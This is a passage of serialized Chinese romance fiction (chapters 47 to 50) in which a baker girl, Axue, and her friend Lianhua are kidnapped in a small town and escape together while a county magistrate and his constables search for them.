当天晚上谢临安就收到提亲那人的底细,抽丝剥茧之后发现他和周海天认识。 “周海天就是莲花的未婚夫,莲花是卢娘子的手帕交。”松石补充道。 谢临安颔首。 乍一看没什么问题,但经不起推敲。 以前怎么没来提亲? 偏偏是周海天来过东山镇的第二天。 第47章 第47章 既然知道周海天,自然要调查他的底细。谢临安忽然想起来上次见到那位叫莲花的娘子,她似乎眼睛哭的红肿。 按照时间来算,正是去城里见过周海天的第二天。 阿雪和莲花情同姐妹,谢临安便让人再细查此人,还真查出点东西。 原来周海天曾经定过亲,只不过后来那位娘子和富商跑了。松石插话道:“郎君,肯定是富商条件更好,所以小娘子嫌弃周海天了呗。” “如果是京城兴许还有可能,但在这等小地方,私奔的可能性极低。” 松石不解,他不知道流言猛于虎。 “去女方家探一探,看可否属实。” “是。” 谢临安要忙公事和抓捕事宜,因此两头跑,几天下来人清瘦许多,阿雪心疼坏了,时常给他做些滋补的汤品,还大出血在镇上医馆买了上好的枸杞,泡开后各个有花生那么大。 “大不大?” 一脸天真的小娘子问。 松石悄悄踮起脚尖看过来,被骨头汤泡开的果子,红彤彤的,一看就不是枸杞,只是普通的野果子晒成干罢了。 假的,上当了! 他们郎君什么好的没见过,假货还能看上眼?而且乱七八糟的东西可万万不能入口啊。 谁成想下一瞬谢临安便张口喝了阿雪喂过来的骨汤,连带着将“枸杞”也抿进嘴里。 阿雪笑眯眯:“好喝吗?我不会炖,还特意问过我娘呢。” 她就喜欢做面食且也只能做好面食,像是做菜做汤,都不怎么会的。 见谢临安喜欢喝,阿雪便让他多喝一些,俩人一直呆到天色擦黑阿雪才离开。 “郎君,剩下的半锅汤怎么办?” 阿雪第一次炖汤不敢做太多,只买了一条排骨全放里了,看似很多,实际上肉多汤少,尤其谢临安聪明,和阿雪叙话用了不少时间,因此汤只喝了半碗而已。 拿起桌面上的凉茶漱了漱,将肉腥气压了下去,他捏着额角颇为无奈。“倒了吧。” 松石应声,端起汤往外走,没忍住半路尝了一口,差点哕出来。 如此难喝的东西,他们郎君是怎么喝下半碗的? …… 阿雪第二天又要给谢临安炖汤,结果有捕快来传话,说是谢大人起早回城里了。 “好吧。” 可惜了,她刚买的一副猪腰子呢。 人家卖肉的说了,将猪腰子切开清洗干净,直接放清水里炖煮,一直煮到腰子开花,再撒上一点盐和葱花就成了,味道鲜美不说,还能大补! 算了,拿家里给老爹当个下酒菜吧。 当天卢家的餐桌上就多了一道爆炒腰花,卢大富和卢石头都喜欢吃,娘俩倒是没动,尤其是阿雪,饭菜扒拉两口就说不吃了回房休息。 餐桌的三个人都停下筷子,焦红杏起身。“你们吃,我去看看。” 过了会走出来去厨房煮红糖水,卢大富明白了,阿雪应当是来月事身体不舒服。 “我去大夫那买艾柱回来给她熏熏。” 卢大富进山打猎干的都是力气活,身上不舒服的时候自己拿艾草随便熏一熏,但是到了女儿这里要去买大夫做好的,贵就贵,反正他拼命挣钱就是为了家人过上好生活。 卢石头帮不上什么忙,就去厨房烧了热水。 阿雪躺在床上,身体和心里的暖冲淡不适感。睡了一夜好不少,但去铺子里忙活一会,腰又开始疼了。 正赶上卢石头上学堂路过,他见阿雪疼的脸色发白,忙跑回去喊爹娘。 焦红杏急忙过来,卢大富绕道去请大夫,等大夫来了焦红杏推儿子。“你赶紧去学堂,莫要迟到了。” 卢石头急的跺脚。“娘,都什么时候,读书哪有我阿姐重要!” 卢石头有一把子力气,帮忙抱着人,可铺子没有躺下的地方,只能直接放在桌子上。 大夫看过之后说是总弯着腰操劳的关系,不算大事,给开了膏药每天贴一贴,三天必好。见阿姐没事,卢石头放心做了,卢大富借了车要送阿雪回去,但她拒绝。 “没事,贴上膏药好受多了。” 焦红杏心疼,道:“娘在这,你回去歇着。” 焦红杏身体更不好,恐怕吃不住,到时候请大夫抓药也是一笔支出,得不偿失。 卢大富一拍脑袋,想出个好主意。“不如我们请人做事吧,就让阿雪在旁看着收钱就成。” 阿雪第一个不同意。“那得花多少钱,不划算的。” 焦红杏柔声道:“这样,请人做短工,每天最忙的早上和中午过来,按时辰算钱,这样花的少,你也能歇着。” 事情就这样定下,当天卢大富和焦红杏在铺子里看着,他们做面食不如阿雪做的好吃,就只将早上做好的卖了,早早打烊回家。 翌日阿雪就放出消息,让周围邻居帮忙留意有没有手脚麻利的娘子,可以过来做工,给的钱还算丰厚,还能提供午饭。 当天就来了个年轻娘子,不过一脸羞涩说道:“不好意思,我不会做面食,但我可以学,你看我成吗?” 阿雪是为了让自己轻松一些,当然想找个会的,于是好言说不行。 那娘子似乎走了许久的路,汗水打湿头发贴在脸上,急忙道:“那这样,我不要钱,供我一顿饭就成,我可以先学,等什么时候你觉得我可以了再给我钱。” 不要钱啊。 阿雪心念一动。 说实话,很难抵抗的诱惑。不要钱的劳动力,哪里还管会不会,当即就拍板同意了,让她每日早上来,忙活到中午结束就成,午饭和阿雪一起吃,铺子里包子馒头管够。 那人高兴极了,阿虚问她:“娘子怎么称呼?” “我姓周,今年二十了,应当比小娘子大吧?” “嗯,我十六,那我喊你一声姐?” “叫我碧玉姐就成。” 来人正是周碧玉。 她和王翠翠将那五两银子分了,各自管各自的钱财。周碧玉不想坐吃山空就出来找活。可惜,这里不比城里,铺子不多而且招工的很少。就算有招的,瞧见她细胳膊细腿也不愿意。 好不容易找到阿雪这里,周碧玉真是被人拒绝的怕了,就算不要钱也想做工,起码吃饭不要钱。而且她也存了点小心思,她本就什么都不会,如果能在这里学会蒸包子馒头,往后也能糊口。 翌日没到约定的时辰,周碧玉就来了。她换了一身褐色的布裙,整个人低调不打眼。默默跟着阿雪做事,让干什么就干什么。 阿雪满意极了,有人帮忙确实没那么辛苦,而且周碧玉吃苦耐劳,什么活都抢着干。 晌午最后一锅包子卖完,阿雪开始点钱款。每天她做的分量都是一样的,因此按理说收到的钱款也该相同,点起来很快,没一会就数完了。 不过数来数去,阿雪蹙眉。 奇怪,怎么少了一文钱。 周碧玉坐立难安,因为她刚来铺子就丢钱,怎么看都有很大的嫌弃。可老天爷知道,她什么都没做啊。 “我帮娘子找。”周碧玉凑了过来。 阿雪也开始翻找,将钱匣子附近找了一圈,一无所获。晌午时候天气炎热,阿雪冒了一头汗,整张脸红扑扑。 周碧玉也满头大汗:“娘子,找不到就别找了。” 就一个铜板而已,着实没必要这么大费周章。 阿雪笑笑,拿出一屉热乎的包子招呼周碧玉。“饿了吧,随便吃,这些是肉馅,这些是素馅,还有豆包,你想吃什么就吃什么。” 俩人洗了手吃饭,有说有笑。最忙的时候过去了,周碧玉就先回家。 “一身厨房味儿,真难闻。” 王翠翠正坐在院子树下乘凉,一只手摇着扇子,小桌上放着茶壶,她衣着打扮鲜亮,不知道的还以为是哪个大户人家的娘子。 自打周碧玉出去找活,王翠翠就开始阴阳怪气,周碧玉刚开始生气后来也不恼,各自做自己的事情,管她呢。 见周碧玉一声不吭的回房了,王翠翠咬碎一口银牙,喊道:“别忘了晚上出去!” “知道。” 既然答应了做诱饵,俩人就得干活,昨晚就开始夜里出去,刚开始还战战兢兢,但没有风吹草动且附近有王捕头带人守护,她们就不怕了。 可能这里压根就没什么坏人,就算有,兴许也暗中得了消息,不冒头。 不冒头好,她们就走走样子不会有风险。 第二天周碧玉还是提前去了,刚到铺子就见阿雪兴致勃勃的招呼她。 “碧玉姐,我找到昨日丢的铜板了,就塞在钱柜子底下的缝隙里,我们找了一通竟然就忽略了眼皮子底下。” 她兴高采烈,好像找到的不是一个铜板,而是一锭银子。小娘子热烈情绪感染周碧玉,她也跟着高兴,做起活来都不觉得辛苦了。 今天周碧玉留的时间长,还帮着把灶台擦拭干净。幸而阿雪有天天打扫的习惯,擦起来不费事。 莲花来的时候正赶上周碧玉走,瞧见对方无精打采的样子,周碧玉猜这位娘子应当生活不顺吧。 “莲花,你怎么气色这么差。” 阿雪买了酸梅饮子招待莲花,这才知道今日那个周海天来过礼了。 俩人单独相处一会,莲花觉得心里憋屈,所以才出来找阿雪说会话。可惜,阿雪也不知道具体发生了什么,安慰了一会不奏效,莲花起身,道:“家里还有事,我先走了。” 她蔫的像是枯萎的花儿。 第48章 第48章 以前的莲花和阿雪一样,乡野单纯烂漫的小娘子,她年长阿雪两岁,性子比之阿雪更为泼辣直爽。 不过自打遇见周海天之后,莲花彻底变了。 刚开始觉得心里不舒服,莲花和爹娘提了一嘴,但爹娘和身边的人都说周海天没问题,是莲花小题大做。 当所有人都质疑时候,莲花就开始怀疑自己。 是吗?是她的问题吗? 后来,莲花变得越来越不自信,觉得周海天说的对,人家在城里长大见多识广,肯定比她懂的多。爹娘不会害她的,既然爹娘说好,那周海天一定是好夫婿。 开一间自己的铺子,挣钱多朋友多,莲花觉得,往后嫁给他然后进城里过活,好像也挺好的。 但为什么自己不高兴呢? 莲花有点想不通。 她走在回家的路上低垂脑袋,思绪纷杂,因此也没看见前面有个推三轮车的卖货郎。 “劳烦娘子让让欸。”那人喊。 可莲花反应慢了半拍,待抬头时,已经和对方撞上了。那人为了不撞到人自己歪了身子,三轮车没扶稳,上头的东西哗啦啦的掉了一地。 什么糖人糖块,胭脂水粉,噼里啪啦的往下落,粉染的地面红彤彤,好像涂抹了一层胭脂。 “不好意思。”卖货郎反而先道歉,然后才蹲下收拾自己的东西。 莲花怪不好意思的,也跟着帮忙,待所有东西都捡起来之后,俩人才正视对方。卖货郎是个年轻的郎君,兴许走街串巷卖货,皮肤晒的黝黑,笑起来露出一口白牙。 “你小腿没事吧?” 方才撞到了莲花的腿,其实疼的,但她忍着没说。 这么会儿被人关心,好像也没那么疼了。 “也是我不好,这样,我买一盒胭脂。” 说着,莲花就将洒了一半的胭脂拿在手上,“这个多少钱?” “都洒了不值钱,娘子喜欢尽管拿走,我看娘子皮肤白,正适合这种粉色的胭脂。” 原本无精打采的莲花倏地眼睛发亮。 很久有人夸她了。 “真的吗?” …… 自打有了周碧玉之后,阿雪的铺子生意越发好。 当然不是因为阿雪的包子更好吃,也不是因为有周碧玉后做的多了,而是因为两个年轻貌美的娘子站在一起太过养眼。 以前就有不少人奔着阿雪来,她年岁小声音甜津津又生的讨喜,大家伙每天早上和她说上两句话觉得心情大好。 周碧玉呢,和阿雪完全是不一样的类型。一是年岁大上一些,二是阅历。她声音温柔会说话,犹如邻家阿姐似的,让人心情放松。 两个娘子一起卖吃食,生意越发的好,甚至都用不了中午就全卖了,还要赶紧做新的等晌午饭口的时候售卖。正因为阿雪太忙了,莲花每次来她们都说不上几句话,莲花有苦说不出黯然离开。 没过两天,周碧玉就学会和面和包包子了,馅料自然要阿雪亲自调,不过还是让阿雪轻松许多,甚至腰都不疼了。 谢临安昨日从城里过来,早上来铺子里坐了一会,吓的周碧玉以为是来监视他。但见谢临安没有要和她说话的意思,周碧玉搞不懂了。 而且,谢临安和阿雪关系亲厚的模样,周碧玉甚至看见谢临安拿出帕子给阿雪擦脸上的面粉。 这……这是为什么? 普通百姓和官爷之间犹如有一道天堑,在周碧玉看来,谢临安是县令爷本就高不可攀,更别提他年轻俊朗风度翩翩。 连王翠翠出手都没能成功,由此可见县令爷是个不耽于美色的。 等到晌午铺子里人少,周碧玉婉转的问了一嘴,阿雪没那么心眼,直接道:“就是关系很好的朋友。” 朋友? 周碧玉回忆起县令爷离开时恋恋不舍的目光,暗道那可不是朋友该有的眼神。 她经历过男女之事,当然更懂男人的眼神,照周碧玉推测,恐怕县令爷将阿雪装在心尖上了。 周碧玉侧头看阿雪。 貌美的小娘子鼻尖沁了薄汗,正认真的对早上的钱款,眼神清澈一脸单纯,不像是那种城府深勾引人的模样。 估摸着县令爷喜欢阿雪的单纯,所以王翠翠才失手被县令爷厌恶。 说起来,谢临安是她的恩人,如今她在恩人心仪娘子这做活,可见老天爷给她机会感恩。 胡思乱想完,周碧玉就擦桌子去了,比之前更加卖力。 莲花来的时候如果阿雪在忙,周碧玉会帮忙招待莲花,但毕竟不熟悉因此说不上话。 这天下午,莲花上门。 “感觉你气色好了不少。”周碧玉笑着道。 莲花脸色绯红伸手摸自己的脸,“可能是涂了胭脂的关系吧。” 周碧玉觉得是,也可能不是。因为前几天她来的时候总是兴致恹恹,但今天明显心情愉悦,好像发生了什么令人高兴的事情。 连着几天,莲花都过来坐坐,明显一天比一天高兴。阿雪觉得可能是因为订婚了吧,或者家里有什么喜事。 铺子下午的生意没那么多,阿雪便让周碧玉帮忙看着,她去客栈找谢临安。 “你瘦了好多。”阿雪心疼的看他。 原本就清隽的郎君,腰身处明显松了寸许,更显整个人犹如天上仙君,似乎随时乘风而去。 桌子下,阿雪的手悄悄拉住谢临安的手。 他还是唇角带笑的模样,用筷子夹了菜到她碗里。 “你也瘦了。” 阿雪笑盈盈:“苦夏嘛。” 冬日里还好,尤其是酷热的夏季,外面热的如蒸笼,铺子里当真是有蒸笼,热气一散,阿雪和周碧玉像是被蒸的包子似的,热的面红耳赤满身大汗,等到晌午时候就没什么胃口,阿雪叫刘二丫送两碗冰过的绿豆汤,喝了当午饭。 时间长了,自然就瘦了。 谢临安再给她夹了一筷子凉拌肉片,阿雪喜欢吃带点酸辣口味的菜,用了不少。 吃完饭,谢临安陪着她写字,可惜,一直没什么进步总是写的歪歪扭扭。 阿雪恼的厉害,谢临安则是声音平静道:“能写出来就比之前强,有进步就是好事。千里之行,始于足下。” 阿雪睁着漂亮的眼睛:“什么意思?” 屋里的松石无语望天。 肚子里是一点墨水都没有啊。 “就是目标在前方,路在脚下。只要你一步步往前走,总有一天会到达目的地,每日练字,总有一天会写出来一手好字。” “像你一样写的好看吗?” 谢临安微笑:“或许。” 阿雪激动起来,缠着谢临安教她其中诀窍。 “你扶着我的手写,就按照你平日里那样写字的方式,我想,如果我学的次数多了,慢慢不就成了习惯了嘛,然后就能和你写出来的字一样好看呐!” 松石不由自主的摇头。 说的太轻巧了,他们郎君不止样貌出众,才华也同样一骑绝尘,一手好字那是得过皇帝夸赞的,是天赋异禀,哪里能学来啊,那不是浪费精力吗? 谢临安却不觉得。 他站在阿雪身后,大掌包住她的手,二人缓缓写下一个又一个字。不知不觉,暮色降临,松石提醒了一嘴,谢临安淡淡的扫他一眼。 阿雪惊觉:“这么晚了啊,那我得回家了,明日再来看你。啊不对,你明日就回城里了,罢了,待你再来时我们见吧。” “我送你。” 只要天色晚了,谢临安都会送她,俩人照旧站在卢家前一条街说会话,然后谢临安默默将人送到门口,看着人进去再走。 阿雪觉得,这样的日子很美满,好像一下就满足了,人生哪里还能比现在过的更好呢? 可老天爷不会让人过的太舒服。 十六岁的阿雪第一次意识到,过满则亏。 翌日,卢石头不见了。 当天早上卢石头照常出门,焦红杏和卢大富以为他去学堂了,但晌午时候严为之来家里,他们才知道卢石头竟然没去学堂。 “那他会去哪啊?”焦红杏当时急的流眼泪。 卢大富去孩子屋里转了一圈,拿着一个信封出来,请在场唯一识字的严为之帮忙看。读完之后严为之脸色不好,道:“石头离家出走了。” 然后一字一句的将信上的内容念出来。 “大富,是不是因为前些日子你们父子俩吵架啊?”焦红杏擦眼泪,一时不知道如何是好。 卢大富还算镇定,道:“现在最主要的是找人,严夫子,麻烦你帮我问问学堂里有哪个孩子和石头交好,兴许他们知道石头的下落。” 严为之赶紧回学堂询问,卢大富则是去告诉阿雪,让焦红杏在家等着,万一卢石头回家。 阿雪收到消息也顾不上许多,周碧玉让她放心去她会帮忙看着铺子,等买完了会帮关好门窗。 镇子就这么大,卢石头平日里也没什么爱好,找了一圈不见人影,急的阿雪说话声音都哑了。 “爹,石头喜欢打猎,他会不会进山打猎了?” “有可能,这样,你先在镇子里找,我进山看看。” “行。” 父女俩兵分两路,阿雪将整个镇子走了一遍,不知不觉走到天色擦黑。她回家看了,焦红杏眼睛通红,卢大富还没回来,阿雪灌了一口凉茶继续出去找。 刚走出门,迎面撞上莲花娘。 妇人哭天抹泪:“阿雪啊,我家莲花是不是在你这?” “没在啊,婶子,莲花怎么了” 第49章 第49章 “莲花不是在家绣嫁衣吗?” 最近莲花心情不错的样子,每次来坐一会就匆忙离开,阿雪寻思着嫁衣要莲花自己绣,确实得抓紧功夫。 “没有啊,她今日出去后再也没回来,屋里首饰和一些衣服都不见了。” 阿雪脑子轰的一声。 她听见自己干巴巴的声音道:“什么意思?莲花……也离家出走了?” 莲花娘哭的说不出来话,因着卢石头离家出走,焦红杏和她感同身受,两个没有主意的妇人抱在一起哭。 阿雪还算理智,询问莲花可否是去了熟人那。 “找了,都找了一遍,还去你铺子了,但你都没瞧见,说不定早就不知跑哪里去了。” 莲花娘又难受又不解。 “阿雪啊,你说莲花到底会去哪里啊?明明已经定下这么好的一桩婚事,街坊四邻都羡慕她,说她往后能进城里当饭馆老板娘,怎么她还不知足啊?” “她离开之前和家里吵架了?” 卢石头就是和卢大富有了嫌隙,后来才离家出走的。 莲花娘擦了把眼泪,道:“也不算吵架,就是她想退婚,我们都没同意。礼都走了,眼瞅着就差拜堂成亲了,哪能说退就退。而且这是多么好的一桩婚事啊,周海天相貌堂堂家底丰厚,我们莲花能嫁给他,算是三生有幸了。” 阿雪听这话心里怪不舒服的。 “那还发生过别的事吗?” 莲花娘回忆这几天的事情。 周海天来下聘礼,比镇子上娶亲的规格高多了,光是银子就多给了五两。莲花娘高兴啊,走出去都觉得颜面有光,所有人喜气洋洋,除了莲花。 莲花娘也劝过女儿,“女人都是这样过来的,在家时候当小娘子,到了人家周家,当掌权的大娘子,总比窝在镇子绣房里好多了。” 也兴许是劝说有用,没多久莲花就变得神采焕发,还知道涂脂抹粉打扮自己。莲花娘看在眼里,乐在心上。 女人都是这样,莲花就是不习惯而已,等成了亲习惯就好了。 但没想到,莲花突然不见了。 “这样,婶子你先回家,兴许莲花已经回去了,我帮你找。” 焦红杏告诉她自家石头也不见了,两个妇人又是抱头痛哭。 阿雪叹气:“娘,婶子,我去找人了。” 如果谢临安在就好了,阿雪想,他头脑聪明,说不定能想到石头在哪,也能帮忙找莲花。 可惜,他在城里。 天色越来越黑,阿雪临走前拿了一盏灯笼照亮。入了夜之后镇子处处黑黢黢的,就算暗处藏了人也看不见。但都这时候了,阿雪也顾不上害怕,边走边喊:“石头,你在哪啊?” 她不敢喊莲花的名字,怕被人知道莲花失踪的事情,传出去对莲花名声不好。 走着走着就来到自己铺子附近,见门窗都关好,对周碧玉的又多了几分好感。也是巧了,再往前走没多久,就看见周碧玉和一个女子。 “碧玉姐。”阿雪喊人。 周碧玉回头,身边的王翠翠也看了过来。在看见是阿雪后,王翠翠脸色一下就黑了。 她可没忘记当时被谢临安甩开时有多丢脸,就是因为眼前这个人。 “阿雪,你找到石头了吗?” “还没有,碧玉姐,这么晚了你去哪啊。” 当然是帮忙钓坏人。 不过不能说实话,周碧玉只说吃完饭出来散散心。“要不,我帮你一起找吧。” 反正都是在街上晃悠,不如做点有意义的事情。 阿雪眼睛亮了:“可以吗会不会耽误你休息。” “找人是大,没关系的。” 阿雪见此连连感谢,请周碧玉帮忙找一条街,她去另外一条街上找。 王翠翠撇着嘴,阴阳怪气提醒道:“周碧玉,别忘了你的任务。” 外面还有王捕头和捕快们藏在暗处喂蚊子,她就这么走了?太不负责了。 周碧玉道:“确实有事,想来他们能理解。这样,翠翠你可以先回家,我一会再回去。” “随你!”王翠翠跺跺脚扭着腰走了。 阿雪和周碧玉分头行头,都从街头出发,约定在前面街尾岔路口汇合。 周碧玉找的认真,甚至每个胡同杂货堆都去找了,觉得小孩子可能就是玩性大发藏起来,找到人说两句好听话哄一哄就成。 可惜,找了许久没瞧见卢石头的影子。周碧玉想了想,转身小声喊人:“王捕头,王捕头你们在吗?” 过了一会,窸窸窣窣的声音,从远处的树上跳下来俩人,一个是王捕头另外一个是捕快。 “王捕头,能不能拜托你们帮忙找人啊,阿雪的弟弟卢石头离家出走不见了。” 他们离的远,并没有听见发生了什么事情,王捕头皱眉:“失踪多久了?” 周碧玉道:“已经一天了。” 王捕头:“这么久恐怕不好找。” 但是卢娘子的事情,他们自然会帮忙。甚至方才见卢娘子形单影只,王捕头还派了两个人暗中跟上保护。跟随县令爷办公许久,王捕头多少了解谢临安的性子,他只对卢娘和颜悦色,可见俩人关系匪浅。 “我这就吩咐人。”难找也得找,如今县令爷不在,他更要尽心尽力。 “捕头,捕头,不好了!” 就在这时,有两个捕快飞奔而来,面色惨白道:“卢娘子她不见了!” “你们说什么我不是叫你们好生照看人,怎么会不见?” 他们当真在身后跟着保护来着,但拐到一个岔路口,俩人犹豫分神的功夫,阿雪就不见踪影,只留在地上一只燃烧殆尽的灯笼。 此事事关重大,王捕头也顾不上许多,当即派人连夜回城,务必第一时间告诉谢临安。 周碧玉慌张,有种不好的预感,脑子眩晕身体发软,抓着王捕头的袖子颤声道: “王捕头,我们引蛇出洞这些日……” 会不会已经引出来了,但坏人将阿雪带走了。 一想到那样的画面,周碧玉已经接受不了了,当即慌张的要找人。 “阿雪才十六岁,正是花儿一样的年纪,莫要让她经历我经历的那些,王捕头,找人,快点找人!” 此时的阿雪正在奋力挣扎。 不知道怎么回事,走在路上突然有人从背后捂住她的口鼻,然后她就什么都不知道了。再醒来时发现自己好似被关在麻袋里,双手捆住嘴巴封了布条。 外面黑漆漆的,阿雪呜呜作声求助,但没听见什么动静。 慌张的阿雪使劲挣扎,总算绳索弄的松一些,两只手勉强能分开。她身上没有银簪子,若是有,便可刺破麻袋,阿雪第一次懊悔自己吝啬。 费力的将发鬓上的木簪子取下来,阿雪用尖端去划麻袋,虽然收效甚微,但好过自己用手指。 总算弄出个小洞,阿雪眼睛贴了上去,还是黑漆漆的一片,什么都看不清。 过了会,眼睛适应了黑暗,她发现这里似乎是一间柴房,因为她头上就是一捆木柴。 眼睛转了角度,借着门缝里泄进来的因白月光,阿雪瞧见离她不远处的地方,似乎坐了个人。 阿雪心惊,呼吸一滞。 过了会,见那人一动不动,阿雪才稍稍缓解。她以为对方是掳她走的坏人,但仔细看看好像不是。 她记的那人身量很高,因为当时从身后捂她口鼻时挣扎之间那人说话,很明显是从她头顶上传来的声音。 对方是比她高大的男人,但现在这个人身量娇小,坐在那缩成一团,更像是女子。 莫不是同样被掳来的娘子? 阿雪犹豫过后决定一试,说不定她们两个一起有办法逃出去。 可去到那人身边成了问题,阿雪像是虫子似在地上蛄蛹,好一会才前进了一步,她不由得有些泄气。不过缓了片刻继续行动,她不想呆在这,她还要去找石头和莲花。 阿雪累的虚脱,总算来到那人不远处,透过小洞,她能看见那女子的脸。 莲花?! 发鬓微乱,脸颊红肿,双手双脚被捆着,闭着眼睛不知死活的人,不是莲花又是谁? 阿雪甚是激动,当即呜呜作声,更加卖力的往那边去。 兴许是她闹出的这点动静惊醒了莲花,她睁开眼先是恐惧的想叫,但嘴里绑着布条发不出声,然后就发现脚边一直蛄蛹的麻袋了。 多年的姐妹情谊,早就练就了默契,光是听对方的呜呜声便能认出彼此。 莲花哭了,阿雪也眼眶发酸。 有太多的话想说,俩人现在没法出声,只能先解救对方。 莲花比阿雪好一些,起码没在麻袋里,她费力的俯身,企图去咬麻袋口上的上绳子。 只是布条封口不好用力,莲花咬的嘴唇出血,布条上渗出血迹,满口的铁锈味。 总算是将绳子咬开一截,她用力一拽,麻袋口束缚应声而解,里面的阿雪探出脑袋,姐妹俩对视,激动的双双落泪。 接下来怎么解开手脚上的束缚成了问题,莲花朝着阿雪呜呜,示意她过来,她可以咬她手上的绳子,说不定能咬开,到时候阿雪再给她解绑,姐妹俩就能逃走了。 可惜,想的很好,现实却是重重一击。 不仅没能咬开绳子不说,只听一阵由远及近的脚步声。 有人来了。 第50章 第50章 砰的一声柴房门被人踹开,阿雪和莲花都反应不及,便见一个黑面男人走了进来。 莲花神情复杂,那人先是看了眼阿雪,笑道:“好生厉害的娘子,还从麻袋里出来了。” 这人手提着一盏灯笼,笑起来时候黝黑的面皮,显得一口牙齿格外的白。 阿雪恨恨的看他。 那人转过视线,蹲在莲花面前。 “怎么流血了?” 说着,似乎要伸手擦莲花唇边的血迹,但莲花别过头躲开了。 “你还在生气?” 他伸手将莲花嘴上的布取了下来。 “不要脸的东西!”莲花立刻斥声骂他。 “喝口水吧,看你嗓子都哑了。”也不知道那人从哪里拿来一个大水碗,莲花不喝,那人刚开始还好声好语的劝,后来索性直接捏着她下巴,强行灌她嘴里。 水混着嘴里的血流了出来,莲花被迫喝了不少,最后呛的咳嗽,那人才罢手。 “你瞪我也没用,我不会将你放走,顶多让你少受些苦头。”说完,在莲花又要骂人的时候,那人重新将她嘴巴封住,拎着灯笼走了。 砰的一声柴门又关上。 莲花呆滞的坐在那,眼泪簌簌,阿雪看的心疼,有心想劝解但又说不出话。 能怎么说呢?其实全怪她自己。 莲花想,是她自己鬼迷心窍,以为逃离家里就能天高任鸟飞,实际目光短浅,识人不清。 莲花陷入痛苦之中,自怨自艾,还怪自己连累了阿雪,她竟然也被掳到这里。正想着,就听见一点动静,莲花低头,原来是阿雪不知道什么时候爬过来,正用脚踢那个装水的大碗。 只是她两只脚被捆在一起,自然不方便动作,很费力的踢了过去,然而碗碰到墙,只是歪了歪,里面水洒了出来,洇湿地上一片。 打碎一个碗是十分容易的事情,可不知道怎么回事,现在却如此的困难。 阿雪甚至都想用头去撞它。 就在这时,莲花动了,她歪过身子,将那只碗往角落里拱。阿雪看过去,这才发现角落堆放的木柴堆里,有不少小碎石块。 俩人齐心协力把碗推过去,找准角度放好碗,再用脚使劲由上到下使劲踹。踹了好几次都没碎,阿雪记得卢大富曾教过她,打人要用寸劲,那踹碗也得用寸劲。 她深深呼吸一口气,找准角度,不再像之前那样用蛮力,甚至安静的没什么声响。 碗,碎了。 莲花大喜,阿雪也松了口气。 地上的瓷片都是大块的,阿雪又如法炮制,碎了几块小瓷片,她和莲花一人拿一块,小心翼翼的互相磨绳子。 功夫不怕有心人,还真让她们将手里的绳子磨断了,顺利解开束缚,下一步就是要逃出去。 阿雪怕外面有人守着,和莲花比了一个嘘的手势,她上前小心翼翼的贴在门板上听声音。 外面静悄悄的,隐隐能听见男人喝酒划拳的声音。阿雪退了回来,问莲花:“可知道他们多少人?” 阿雪被迷晕过来的,只知道有一个人。方才那个黑皮男子似乎和莲花有什么渊源,但此刻阿雪顾不上问,只想知道外面多少人,她们现在如今在哪里,怎么才能逃出去。 “可能……有两个。”莲花不确定的道。 至于她们现在在何处,莲花也不知道。 现在阿雪也没了主意,索性又去门口,试探性的去推门。出人意料的是,门竟然没锁。 大抵是觉得她们两个弱女子又捆着手脚,闹不出什么大风浪所以才放心没锁门。阿雪推开一条缝隙,悄悄往外看。 没有人守着,阿雪放心不少,仔细观察过后发现这里似乎是一处小村落,阿雪看了看天色,按照时间估计,她被掳来没多久,因此这里离镇上应当不远,或许就是底下哪个小村庄。 柴房不远处就是正屋,窗户上映出吃酒划圈人的身影,是三个人。也不一定只有三个,阿雪想,没坐在窗户附近是映不上的,也兴许更多。 “我们悄悄出去,莫要引起动静被人发现。”阿雪转头小声嘱咐莲花。临逃跑之前,阿雪还让莲花将裙摆撕掉一截。 这是卢大富教她的,那时候她年纪小和卢石头打闹,就吃了裙摆过长的亏,被卢石头绊了好几次。 卢大富笑哈哈:“阿雪你记着,如果碰上什么危险,管不了好看不好看,也不要管旁人如何看,直接将裙子勾起来或者撕了底下那一圈,方便你逃。” 没了束缚,确实步子迈的大了,阿雪冲在前面,俩人身量轻跑起来也没什么声音。 意外的顺利。 竟然直接从院子里爬墙出来了,撒腿跑在村中小路,阿雪边跑边回头看,生怕那些人追出来。 幸好并没有被发现,眼看着就要跑出去,忽然不知道谁家的狗吠了几声,紧接着,附近的狗叫声此起彼伏。 阿雪头皮发紧,她甚至听见那些人追出来的咒骂声和身后有人喊别跑的声音。 阿雪拉着莲花更加拼命的跑,但莲花越跑越慢。 “阿雪,我的脚崴了没好恐怕跑不过,你自己逃,快逃,莫要回头。” 能走一个是一个,莲花松开阿雪的手。 可阿雪怎么能扔下莲花?她弯腰作势要背她,莲花推她。 “都什么时候了,阿雪听话,你自己跑,快,再晚他们就要追上来了!” 她们七拐八拐的跑,虽然还没看见追击的人影,但显然声音越来越近。出村的路口只有这么几个,早晚会追过来。 莲花眼泪掉下来,嘱咐阿雪道:“你回去别说见过我,就让家里人以为我离家出走,也算有个盼头。” 莲花想好了,等她被抓回去,索性死了算了,好过他们抓在手里为所欲为。 正当莲花神情悲哀时,就感觉胳膊一紧,她被阿雪强行拉到一旁的灌木丛里,后面有一条干涸的沟渠,可以容纳纤瘦的莲花。 阿雪将其按在那,快速嘱咐道:“你在这千万别出声也不要动,我去将人引开,一会回来找你。” 其实她想说一句,如果她没回来,让莲花先走。但阿雪想,她应该可以回来的,她都逃出来了,老天爷会保佑她接下来顺顺利利。 安置好莲花后阿雪便开始逃,深夜寂静,脚步声格外的明显。躺在沟渠里的莲花双臂紧紧抱着自己,她听见有一阵嘈杂的脚步声从身边路过,一路追着阿雪的方向去了。 眼泪模糊了视线。 莲花不敢乱动也不敢出声,怕阿雪的良苦用心白费。 她就在这等,阿雪一定会回来找她的。 等啊等,等了不知道多久,终于再次听见脚步声,很明显是一个人。 莲花惊喜的起身,不过还是慎重的趴在坑边上,悄悄用手指拨开野草往外看。当看见来人时,莲花一愣。 …… 月亮被乌云遮盖,看不清楚脚下的路。 阿雪直冲冲的往山里跑,想着地势复杂加之草木丰盛,她跑一会找个地方藏起来,等待时机原路返回找莲花。 所谓灯下黑,他们肯定想不到她会回去,到时候她和莲花就先窝在村子里,等天亮了求助,那些坏人拿她们也无可奈何。 可想的挺好,今日为了找石头没吃午饭和晚饭,方才又跑了那么久,这会儿已经半点力气都没有了,完全靠着意念支撑着自己。 频频回头,她甚至都能看见追击的四个人影。 原来屋里是四个人。 阿雪狠狠的咬唇,痛感又支撑着她跑了一段,快六月的季节树木繁茂遮天蔽日,阿雪瞅准时机,直接钻到一处茂密的野草堆里,隐藏身形。 过了会,那四个人跑了过来。 